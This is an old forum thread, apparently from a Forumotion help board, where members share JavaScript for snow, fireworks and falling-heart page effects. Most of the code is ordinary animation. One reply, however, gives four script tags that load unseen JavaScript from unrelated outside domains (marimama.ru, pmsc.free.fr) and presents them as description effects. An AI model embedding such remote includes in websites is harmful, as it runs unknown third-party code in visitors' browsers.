The forum of the forums
Would you like to react to this message? Create an account in a few clicks or log in to continue.

I need all codes

4 posters

Go down

Solved I need all codes

Post by jhae January 2nd 2009, 4:18 pm

I need all script codes for like snow, big fireworks, leaves, ect

Please and thank you.


Last edited by jhae on January 3rd 2009, 3:56 am; edited 1 time in total
jhae
jhae
New Member

Female Posts : 15
Reputation : 0
Language : english

http://foreverwebkinz.forumotion.com

Back to top Go down

Solved Re: I need all codes

Post by Rok January 2nd 2009, 4:31 pm

Here's two snow flake affects :

Code:
<script type="text/javascript">

    /******************************************
    * Snow Effect script- By Altan d.o.o. (http://www.altan.hr/snow/index.html)
    * Visit Dynamic Drive DHTML code library (http://www.dynamicdrive.com/) for full source code
    * Last updated Nov 9th, 05' by DD. This notice must stay intact for use
    ******************************************/
    //Here you can add your own picture for snow. Just change the url
    var snowsrc="http://i71.servimg.com/u/f71/12/41/10/67/snow10.gif"
    //how many snowflakes there will be (currently 10)
    var no = 10;
    //How fast will the snow disappear (0 is never)
    var hidesnowtime = 0;
    //The height the snow will reach before it disappears ("windowheight" or "pageheight")
    var snowdistance = "windowheight";
    ///////////////////////////////End of Settings///////////////////////////////////
    var ie4up = (document.all) ? 1 : 0;
    var ns6up = (document.getElementById&&!document.all) ? 1 : 0;

    function iecompattest()
    {
      return (document.compatMode && document.compatMode!="BackCompat")? document.documentElement : document.body
    }

    var dx, xp, yp;
    var am, stx, sty;
    var i, doc_width = 800, doc_height = 600;
   
    if (ns6up)
    {
      doc_width = self.innerWidth;
      doc_height = self.innerHeight;
    }
    else
    if (ie4up)
    {
      doc_width = document.body.clientWidth;
      doc_height = document.body.clientHeight;
    }

    dx = new Array();
    xp = new Array();
    yp = new Array();
    am = new Array();
    stx = new Array();
    sty = new Array();

    for (i = 0; i < no; ++ i)
    {
      dx[i] = 0;
      xp[i] = Math.random()*(doc_width-50);
      yp[i] = Math.random()*doc_height;
      am[i] = Math.random()*20;
      stx[i] = 0.02 + Math.random()/10;
      sty[i] = 0.7 + Math.random();
      if (ie4up||ns6up)
      {
          if (i == 0)
          {
            document.write("<div id=\"dot"+ i +"\" style=\"POSITION: absolute; Z-INDEX: "+ i +"; VISIBILITY: visible; TOP: 15px; LEFT: 15px;\"><a href=\"http://dynamicdrive.com\"><img src='"+snowsrc+"' border=\"0\"><\/a><\/div>");
          }
          else
          {
            document.write("<div id=\"dot"+ i +"\" style=\"POSITION: absolute; Z-INDEX: "+ i +"; VISIBILITY: visible; TOP: 15px; LEFT: 15px;\"><img src='"+snowsrc+"' border=\"0\"><\/div>");
          }
      }
    }

    function snowIE_NS6()
    {
      doc_width = ns6up?window.innerWidth-10 : iecompattest().clientWidth-10;
      doc_height=(window.innerHeight && snowdistance=="windowheight")? window.innerHeight : (ie4up && snowdistance=="windowheight")?  iecompattest().clientHeight : (ie4up && !window.opera && snowdistance=="pageheight")? iecompattest().scrollHeight : iecompattest().offsetHeight;
      for (i = 0; i < no; ++ i)
      {
          yp[i] += sty[i];
          if (yp[i] > doc_height-50)
          {
            xp[i] = Math.random()*(doc_width-am[i]-30);
            yp[i] = 0;
            stx[i] = 0.02 + Math.random()/10;
            sty[i] = 0.7 + Math.random();
          }
          dx[i] += stx[i];
          document.getElementById("dot"+i).style.top=yp[i]+"px";
          document.getElementById("dot"+i).style.left=xp[i] + am[i]*Math.sin(dx[i])+"px";
      }
      snowtimer=setTimeout("snowIE_NS6()", 10);
    }

    function hidesnow()
    {
      if (window.snowtimer) clearTimeout(snowtimer)
          for (i=0; i<no; i++) document.getElementById("dot"+i).style.visibility="hidden"
    }
       

    if (ie4up||ns6up)
    {
      snowIE_NS6();
      if (hidesnowtime>0)
          setTimeout("hidesnow()", hidesnowtime*1000)
    }

    </script>


<div id="snow" style="font-family: comic sans ms,arial,times new roman; color: rgb(204, 204, 204); font-weight: bold; font-style: normal; background-color: transparent; z-index: 2;"><marquee behavior="scroll" direction="down" scrollamount="3" style="position: absolute; left: 120px; top: 50px; width: 8px; height: 850px;"><b>°</b></marquee><marquee behavior="scroll" direction="down" scrollamount="4" style="position: absolute; left: 170px; top: 70px; width: 8px; height: 700px;"><b>°</b></marquee><marquee behavior="scroll" direction="down" scrollamount="5" style="position: absolute; left: 220px; top: 90px; width: 8px; height: 650px;"><b>°</b></marquee><marquee behavior="scroll" direction="down" scrollamount="6" style="position: absolute; left: 270px; top: 30px; width: 8px; height: 770px;"><b>°</b></marquee><marquee behavior="scroll" direction="down" scrollamount="7" style="position: absolute; left: 320px; top: 30px; width: 8px; height: 740px;"><b>°</b></marquee><marquee behavior="scroll" direction="down" scrollamount="2" style="position: absolute; left: 240px; top: 30px; width: 8px; height: 470px;"><b>°</b></marquee><marquee behavior="scroll" direction="down" scrollamount="3" style="position: absolute; left: 140px; top: 30px; width: 8px; height: 500px;"><b>°</b></marquee><marquee behavior="scroll" direction="down" scrollamount="2" style="position: absolute; left: 290px; top: 30px; width: 8px; height: 460px;"><b>°</b></marquee><marquee behavior="scroll" direction="down" scrollamount="3" style="position: absolute; left: 100px; top: 130px; width: 8px; height: 480px;"><b>°</b></marquee><marquee behavior="scroll" direction="down" scrollamount="2" style="position: absolute; left: 360px; top: 30px; width: 8px; height: 730px;"><b>°</b></marquee><marquee behavior="scroll" direction="down" scrollamount="3" style="position: absolute; left: 390px; top: 50px; width: 8px; height: 800px;"><b>°</b></marquee><marquee behavior="scroll" direction="down" scrollamount="4" style="position: absolute; left: 440px; top: 70px; width: 8px; height: 700px;"><b>°</b></marquee><marquee behavior="scroll" direction="down" scrollamount="2" style="position: absolute; left: 470px; top: 100px; width: 8px; height: 700px;"><b>°</b></marquee><marquee behavior="scroll" direction="down" scrollamount="4" style="position: absolute; left: 560px; top: 70px; width: 8px; height: 700px;"><b>°</b></marquee><marquee behavior="scroll" direction="down" scrollamount="2" style="position: absolute; left: 590px; top: 100px; width: 8px; height: 700px;"><b>°</b></marquee><marquee behavior="scroll" direction="down" scrollamount="4" style="position: absolute; left: 520px; top: 170px; width: 8px; height: 700px;"><b>°</b></marquee><marquee behavior="scroll" direction="down" scrollamount="2" style="position: absolute; left: 610px; top: 200px; width: 8px; height: 700px;"><b>°</b></marquee><marquee behavior="scroll" direction="down" scrollamount="3" style="position: absolute; left: 650px; top: 250px; width: 8px; height: 740px;"><b>°</b></marquee><marquee behavior="scroll" direction="down" scrollamount="2" style="position: absolute; left: 690px; top: 290px; width: 8px; height: 780px;"><b>°</b></marquee><marquee behavior="scroll" direction="down" scrollamount="3" style="position: absolute; left: 660px; top: 40px; width: 8px; height: 470px;"><b>°</b></marquee><marquee behavior="scroll" direction="down" scrollamount="2" style="position: absolute; left: 690px; top: 60px; width: 8px; height: 490px;"><b>°</b></marquee></div>


<div id="snow" style="font-family: comic sans ms,arial,times new roman; color: rgb(204, 204, 204); font-weight: bold; font-style: normal; background-color: transparent; z-index: 2;"><marquee behavior="scroll" direction="down" scrollamount="3" style="position: absolute; left: 120px; top: 50px; width: 8px; height: 850px;"><b>°</b></marquee><marquee behavior="scroll" direction="down" scrollamount="4" style="position: absolute; left: 170px; top: 70px; width: 8px; height: 700px;"><b>°</b></marquee><marquee behavior="scroll" direction="down" scrollamount="5" style="position: absolute; left: 220px; top: 90px; width: 8px; height: 650px;"><b>°</b></marquee><marquee behavior="scroll" direction="down" scrollamount="6" style="position: absolute; left: 270px; top: 30px; width: 8px; height: 770px;"><b>°</b></marquee><marquee behavior="scroll" direction="down" scrollamount="7" style="position: absolute; left: 320px; top: 30px; width: 8px; height: 740px;"><b>°</b></marquee><marquee behavior="scroll" direction="down" scrollamount="2" style="position: absolute; left: 240px; top: 30px; width: 8px; height: 470px;"><b>°</b></marquee><marquee behavior="scroll" direction="down" scrollamount="3" style="position: absolute; left: 140px; top: 30px; width: 8px; height: 500px;"><b>°</b></marquee><marquee behavior="scroll" direction="down" scrollamount="2" style="position: absolute; left: 290px; top: 30px; width: 8px; height: 460px;"><b>°</b></marquee><marquee behavior="scroll" direction="down" scrollamount="3" style="position: absolute; left: 100px; top: 130px; width: 8px; height: 480px;"><b>°</b></marquee><marquee behavior="scroll" direction="down" scrollamount="2" style="position: absolute; left: 360px; top: 30px; width: 8px; height: 730px;"><b>°</b></marquee><marquee behavior="scroll" direction="down" scrollamount="3" style="position: absolute; left: 390px; top: 50px; width: 8px; height: 800px;"><b>°</b></marquee><marquee behavior="scroll" direction="down" scrollamount="4" style="position: absolute; left: 440px; top: 70px; width: 8px; height: 700px;"><b>°</b></marquee><marquee behavior="scroll" direction="down" scrollamount="2" style="position: absolute; left: 470px; top: 100px; width: 8px; height: 700px;"><b>°</b></marquee><marquee behavior="scroll" direction="down" scrollamount="4" style="position: absolute; left: 560px; top: 70px; width: 8px; height: 700px;"><b>°</b></marquee><marquee behavior="scroll" direction="down" scrollamount="2" style="position: absolute; left: 590px; top: 100px; width: 8px; height: 700px;"><b>°</b></marquee><marquee behavior="scroll" direction="down" scrollamount="4" style="position: absolute; left: 520px; top: 170px; width: 8px; height: 700px;"><b>°</b></marquee><marquee behavior="scroll" direction="down" scrollamount="2" style="position: absolute; left: 610px; top: 200px; width: 8px; height: 700px;"><b>°</b></marquee><marquee behavior="scroll" direction="down" scrollamount="3" style="position: absolute; left: 650px; top: 250px; width: 8px; height: 740px;"><b>°</b></marquee><marquee behavior="scroll" direction="down" scrollamount="2" style="position: absolute; left: 690px; top: 290px; width: 8px; height: 780px;"><b>°</b></marquee><marquee behavior="scroll" direction="down" scrollamount="3" style="position: absolute; left: 660px; top: 40px; width: 8px; height: 470px;"><b>°</b></marquee><marquee behavior="scroll" direction="down" scrollamount="2" style="position: absolute; left: 690px; top: 60px; width: 8px; height: 490px;"><b>°</b></marquee></div>

   
<script language="Javascript1.2">

/*
Document firework script (By Kurt Gregg, kurt.grigg@virgin.net)
*/

var ns=document.layers?1:0
var ie4=document.all?1:0
var ns6=document.getElementById&&!document.all?1:0

amount=14;
if (ns){
for (i=0; i < amount; i++)
document.write("<LAYER NAME='nsstars"+i+"' LEFT=0 TOP=0 BGCOLOR='#FFFFF0' CLIP='0,0,1,1'></LAYER>");
}
else if (ie4||ns6){
document.write("<div id='ieCov' style='position:absolute;top:0px;left:0px'>");
document.write("<div style='position:relative'>");
for (i=0; i < amount; i++)
document.write("<div id='iestars"+i+"' style='position:absolute;top:0px;left:0px;width:1;height:1;background:#ffffff;font-size:1;z-index:10'></div>");
document.write("</div></div>");
}
Clrs=new Array('ff0000','00ff00','ffffff','ff00ff','ffa500','ffff00','00ff00','ffffff','ff00ff')
sClrs=new Array('ffa500','00ff00','FFAAFF','fff000','fffffF')
Xpos=300;
Ypos=150;
initialStarColor='00ff00';
step=5;
currStep=0;
explosionSize=120;
function Fireworks(){
var WinHeight=(ns||ns6)?window.innerHeight-100:window.document.body.clientHeight-100;
var WinWidth=(ns||ns6)?window.innerWidth-100:window.document.body.clientWidth-100;
var Yscroll=(ns||ns6)?window.pageYOffset:document.body.scrollTop;
for (i=0; i < amount; i++){
if (ie4||ns6)
var layer=ns6?document.getElementById("iestars"+i).style : eval("iestars"+i).style;
else if (ns)
var layer=document.layers["nsstars"+i]
var randCol=Math.round(Math.random()*8);
var randSz=Math.round(Math.random()*2);
layer.top = Ypos + explosionSize*Math.sin((currStep+i*5)/3)*Math.sin(currStep/100)
layer.left= Xpos + explosionSize*Math.cos((currStep+i*5)/3)*Math.sin(currStep/100)
if (currStep < 110){
 if (ns){layer.bgColor=initialStarColor;layer.clip.width=1;layer.clip.height=1}
 else{layer.background=initialStarColor;layer.width=1;layer.height=1;layer.fontSize=1}
 }
else{
 if (ns){layer.bgColor=Clrs[randCol];layer.clip.width=randSz;layer.clip.height=randSz}
 else{layer.background=Clrs[randCol];layer.width=randSz;layer.height=randSz;layer.fontSize=randSz}
 }
}
if (currStep > 220)
{
 currStep=0;
 Ypos = 50+Math.round(Math.random()*WinHeight)+Yscroll;
 Xpos = 50+Math.round(Math.random()*WinWidth);
 for (i=0; i < sClrs.length; i++)
  {
  var newIcol=Math.round(Math.random()*i);
  }
initialStarColor=sClrs[newIcol];
explosionSize=Math.round(80*Math.random()+100);
}
currStep+=step;
setTimeout("Fireworks()",20);
}
Fireworks();
// -->
</script>

I have another snow affect, but I cannot find where I placed it at in my Admin Panel.
Rok
Rok
Energetic

Male Posts : 6823
Reputation : 234
Language : idk

Back to top Go down

Solved Re: I need all codes

Post by ***AFINA*** January 3rd 2009, 1:12 am

Well I can give you some codes. For site description:

Code:
<script language=javascript src=http://marimama.ru/071123160521.js></script>


Code:
<script language=javascript src="http://pmsc.free.fr/J/071122185618.js"></script>


Code:
<script src="http://pmsc.free.fr/J/071122164107.js" /></script>

Code:
<script language=javascript src=http://pmsc.free.fr/J/071123170438.js></script>
***AFINA***
***AFINA***
Forumember

Female Posts : 450
Reputation : 28
Language : English, Russian, Ukrainian, Greek, Photoshop
Location : The whole world

Back to top Go down

Solved Re: I need all codes

Post by ***AFINA*** January 3rd 2009, 1:22 am

To Homepage message.
Note: will work only in IE7:

Code:
<script LANGUAGE="Javascript1.2">
<!-- Begin
var no = 25; //
var speed = 12; //
var snowflake = "http://img164.imageshack.us/img164/1442/star71yx.gif";

var ns4up = (document.layers) ? 1 : 0;
var ie4up = (document.all) ? 1 : 0;
var dx, xp, yp;
var am, stx, sty;
var i, doc_width = 800, doc_height = 600;
if (ns4up) {
doc_width = self.innerWidth;
doc_height = self.innerHeight;
} else if (ie4up) {
doc_width = document.body.clientWidth;
doc_height = document.body.clientHeight;
}
dx = new Array();
xp = new Array();
yp = new Array();
am = new Array();
stx = new Array();
sty = new Array();
for (i = 0; i < no; ++ i) { 
dx[i] = 0;       
xp[i] = Math.random()*(doc_width-50);
yp[i] = Math.random()*doc_height;
am[i] = Math.random()*20;       
stx[i] = 0.02 + Math.random()/10;
sty[i] = 0.7 + Math.random(); 
if (ns4up) {                 
if (i == 0) {
document.write("<layer name=\"dot"+ i +"\" left=\"15\" ");
document.write("top=\"15\" visibility=\"show\"><img src=\"");
document.write(snowflake + "\" border=\"0\"></layer>");
} else {
document.write("<layer name=\"dot"+ i +"\" left=\"15\" ");
document.write("top=\"15\" visibility=\"show\"><img src=\"");
document.write(snowflake + "\" border=\"0\"></layer>");
  }
} else if (ie4up) {
if (i == 0) {
document.write("<div id=\"dot"+ i +"\" style=\"POSITION: ");
document.write("absolute; Z-INDEX: "+ i +"; VISIBILITY: ");
document.write("visible; TOP: 15px; LEFT: 15px;\"><img src=\"");
document.write(snowflake + "\" border=\"0\"></div>");
} else {
document.write("<div id=\"dot"+ i +"\" style=\"POSITION: ");
document.write("absolute; Z-INDEX: "+ i +"; VISIBILITY: ");
document.write("visible; TOP: 15px; LEFT: 15px;\"><img src=\"");
document.write(snowflake + "\" border=\"0\"></div>");
      }
  }
}
function snowNS() {
for (i = 0; i < no; ++ i) { 
yp[i] += sty[i];
if (yp[i] > doc_height-50) {
xp[i] = Math.random()*(doc_width-am[i]-30);
yp[i] = 0;
stx[i] = 0.02 + Math.random()/10;
sty[i] = 0.7 + Math.random();
doc_width = self.innerWidth;
doc_height = self.innerHeight;
}
dx[i] += stx[i];
document.layers["dot"+i].top = yp[i];
document.layers["dot"+i].left = xp[i] + am[i]*Math.sin(dx[i]);
}
setTimeout("snowNS()", speed);
}
function snowIE() {
for (i = 0; i < no; ++ i) {
yp[i] += sty[i];
if (yp[i] > doc_height-50) {
xp[i] = Math.random()*(doc_width-am[i]-30);
yp[i] = 0;
stx[i] = 0.02 + Math.random()/10;
sty[i] = 0.7 + Math.random();
doc_width = document.body.clientWidth;
doc_height = document.body.clientHeight;
}
dx[i] += stx[i];
document.all["dot"+i].style.pixelTop = yp[i];
document.all["dot"+i].style.pixelLeft = xp[i] + am[i]*Math.sin(dx[i]);
}
setTimeout("snowIE()", speed);
}
if (ns4up) {
snowNS();
} else if (ie4up) {
snowIE();
}
// End -->
</script>

Here are the falling hearts:
Code:
<script LANGUAGE="Javascript1.2">
<!-- Begin
var no = 30; //
var speed = 12; //
var snowflake = "http://img353.imageshack.us/img353/5609/smile1403va.gif";

var ns4up = (document.layers) ? 1 : 0;
var ie4up = (document.all) ? 1 : 0;
var dx, xp, yp;
var am, stx, sty;
var i, doc_width = 800, doc_height = 600;
if (ns4up) {
doc_width = self.innerWidth;
doc_height = self.innerHeight;
} else if (ie4up) {
doc_width = document.body.clientWidth;
doc_height = document.body.clientHeight;
}
dx = new Array();
xp = new Array();
yp = new Array();
am = new Array();
stx = new Array();
sty = new Array();
for (i = 0; i < no; ++ i) { 
dx[i] = 0;       
xp[i] = Math.random()*(doc_width-50);
yp[i] = Math.random()*doc_height;
am[i] = Math.random()*20;       
stx[i] = 0.02 + Math.random()/10;
sty[i] = 0.7 + Math.random(); 
if (ns4up) {                 
if (i == 0) {
document.write("<layer name=\"dot"+ i +"\" left=\"15\" ");
document.write("top=\"15\" visibility=\"show\"><img src=\"");
document.write(snowflake + "\" border=\"0\"></layer>");
} else {
document.write("<layer name=\"dot"+ i +"\" left=\"15\" ");
document.write("top=\"15\" visibility=\"show\"><img src=\"");
document.write(snowflake + "\" border=\"0\"></layer>");
  }
} else if (ie4up) {
if (i == 0) {
document.write("<div id=\"dot"+ i +"\" style=\"POSITION: ");
document.write("absolute; Z-INDEX: "+ i +"; VISIBILITY: ");
document.write("visible; TOP: 15px; LEFT: 15px;\"><img src=\"");
document.write(snowflake + "\" border=\"0\"></div>");
} else {
document.write("<div id=\"dot"+ i +"\" style=\"POSITION: ");
document.write("absolute; Z-INDEX: "+ i +"; VISIBILITY: ");
document.write("visible; TOP: 15px; LEFT: 15px;\"><img src=\"");
document.write(snowflake + "\" border=\"0\"></div>");
      }
  }
}
function snowNS() {
for (i = 0; i < no; ++ i) { 
yp[i] += sty[i];
if (yp[i] > doc_height-50) {
xp[i] = Math.random()*(doc_width-am[i]-30);
yp[i] = 0;
stx[i] = 0.02 + Math.random()/10;
sty[i] = 0.7 + Math.random();
doc_width = self.innerWidth;
doc_height = self.innerHeight;
}
dx[i] += stx[i];
document.layers["dot"+i].top = yp[i];
document.layers["dot"+i].left = xp[i] + am[i]*Math.sin(dx[i]);
}
setTimeout("snowNS()", speed);
}
function snowIE() {
for (i = 0; i < no; ++ i) {
yp[i] += sty[i];
if (yp[i] > doc_height-50) {
xp[i] = Math.random()*(doc_width-am[i]-30);
yp[i] = 0;
stx[i] = 0.02 + Math.random()/10;
sty[i] = 0.7 + Math.random();
doc_width = document.body.clientWidth;
doc_height = document.body.clientHeight;
}
dx[i] += stx[i];
document.all["dot"+i].style.pixelTop = yp[i];
document.all["dot"+i].style.pixelLeft = xp[i] + am[i]*Math.sin(dx[i]);
}
setTimeout("snowIE()", speed);
}
if (ns4up) {
snowNS();
} else if (ie4up) {
snowIE();
}
// End -->
</script>

Note: this part https://2img.net/r/ihimizer/img353/5609/smile1403va.gif you can change for your own pic (leaves, snowflakes, smilies). It works in all browsers. thumright

Good luck.
***AFINA***
***AFINA***
***AFINA***
Forumember

Female Posts : 450
Reputation : 28
Language : English, Russian, Ukrainian, Greek, Photoshop
Location : The whole world

Back to top Go down

Solved Re: I need all codes

Post by jhae January 3rd 2009, 3:56 am

Thanks everyone this helped alot.
jhae
jhae
New Member

Female Posts : 15
Reputation : 0
Language : english

http://foreverwebkinz.forumotion.com

Back to top Go down

Solved Re: I need all codes

Post by Luky January 3rd 2009, 3:42 pm

Since this topic appears to be solved, I will lock it and mark it as solved.
Luky
Luky
Energetic

Male Posts : 6106
Reputation : 264
Language : Romanian, English
Location : Bucharest, Romania

Back to top Go down

Back to top

- Similar topics

 
Permissions in this forum:
You cannot reply to topics in this forum